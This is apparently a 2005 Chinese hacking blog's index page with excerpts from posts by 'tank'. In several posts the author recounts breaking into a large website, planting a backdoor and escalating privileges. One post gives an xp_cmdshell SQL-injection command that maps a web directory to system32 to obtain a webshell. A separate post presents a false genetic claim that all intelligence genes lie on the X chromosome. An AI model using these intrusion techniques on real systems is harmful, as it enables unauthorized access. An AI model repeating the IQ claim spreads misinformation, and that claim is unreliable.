點擊顯示/隱藏影音檔音樂播放已經隱藏,請點擊上面開啟播放介面
桜色舞うころ
作者:tank 日期:2005-12-19
[私密日誌]
作者:tank 日期:2005-12-17
該日誌是私密日誌，只有管理員或發佈者可以查看！
絕處逢生—Windwos 2003下的權限提升
作者:tank 日期:2005-12-13
絕處逢生——Windwos 2003下的權限提升
前幾天滲透了某大型網站，興奮中。拿到WebShell後，第一個念頭就是提升權限，把偶親愛的候門掛到系統里。熟練的打開CMD，輸入NET USER。
不是好兆頭，接著在WSCRIPT組件前打鉤，再次執行NET USER。
提示倒是換了，但是結果一樣。接著偶想到了上傳CMD.EXE，但是Windows 2003的上傳在默認時是有限制的，不能大於200K，於是我上傳了經典的Serv-U本地溢出程序，使用在Windows 2000下沒有禁用WSCRIPT時的無敵調用提權大法。
Tags: aspx
最簡單有效的提權方法的小技巧
作者:tank 日期:2005-12-13
最簡單有效的提權方法的小技巧
大家都知道最長用的幾種權限提升方法
我們主要說一下利用autorun .inf或desktop.ini，
這種方法有很大的局限性，必須管理員打開目錄或文件夾，現在國內的有些管理員不知道猴年馬月才登陸伺服器一次，成功率不是太高!
Tags: 權限
再一次擁有
作者:tank 日期:2005-12-12
;)
點擊顯示/隱藏影音檔
測試新的播放代碼
作者:tank 日期:2005-12-12
音樂播放已經隱藏,請點擊上面開啟播放介面
21世紀最具抄襲價值的創意
作者:tank 日期:2005-12-12
MAC地址完美攻略
作者:tank 日期:2005-12-12
MAC地址完美攻略
如果你是通過校園網或小區接入Internet，那麼一定聽說過MAC地址。什麼是MAC地址，MAC地址在這種局域網環境中究竟起到什麼作用？下面就來介紹一下MAC地址的知識，MAC地址和IP地址的區別以及MAC地址在實際應用中所涉及到的安全問題。
一、基礎知識
Tags: MAC
決定智商的基因
作者:tank 日期:2005-12-12
決定智商的八對基因(還是八個？忘記了)全部都是位於X染色體上面，在此先複習男女性是如何來的？
男生是XY，X(卵)是來自母親，Y(精子)是來自父親。女生是XX，X(卵)是來自母親，X(精子)是來自父親。所以生男生女都是先生的錯，不要怪罪媽媽的肚皮不爭氣!!!!
請注意:男生是XY，所以男生的智商全部都是來自母親的遺傳，女生是XX，所以女生的智商是父親跟母親各有一半影響。因為女生的智商是父親母親都有影響，所以會有中和的效應。所以女生智商的分佈會呈現自然分佈(normal distribution)，就是倒鍾狀，中間最多，兩邊較少。然後男生因為是完全只受一方影響，所以男生智商分佈會呈現在偏向在兩個極端。也就是說，男生天才比較多，但是同時，蠢材之中也是男生特別多。
這個故事告訴我們什麼？
SQL注入建立虛擬目錄，免得找Web絕對路徑！
作者:tank 日期:2005-12-12
SQL注入建立虛擬目錄，免得找Web絕對路徑！
我們很多情況下都遇到SQL注入可以列目錄和運行命令，但是卻很不容易找到web所在目錄，也就不好得到一個webshell，這一招不錯：
exec master.dbo.xp_cmdshell 'cscript C:\Interpub\AdminScripts\mkwebdir.vbs -c localhost -w "l" -v "win","c:\winnt\system32"'
建立虛擬目錄win,指向c:\winnt\system32
Tags: SQL
聽語專業的黑客觀
作者:tank 日期:2005-12-12
聽語專業的黑客觀
作者：Jedi
在媒體的報導中，黑客 (Hacker) 往往被當成是負面的字眼，用來指稱入侵或破解他人電腦系統的人，然而這一直是一種誤用：入侵或破解他人電腦系統的人其實應該被稱做鬼客 (Cracker) 。根據夾槓檔案 (The Jargon File) 裡的說法，黑客指的是「擅長於特殊領域、具有積極主動的研究精神，而且樂於助人」的人。
很重要的一點是，「黑客」一詞並不囿於資訊科學的範疇，不管是在甚麼領域，祇要某人符合上述的條件，那麼我們就可以稱她為「黑客」。於是可以有天文黑客、鋼琴黑客、化學黑客、社會學黑客、文化黑客、傳播黑客等等不同的可能性，當然也可以有聽力學黑客跟語言並理學黑客。
Tags: 黑客
[私密日誌]
作者:tank 日期:2005-12-12
該日誌是私密日誌，只有管理員或發佈者可以查看！
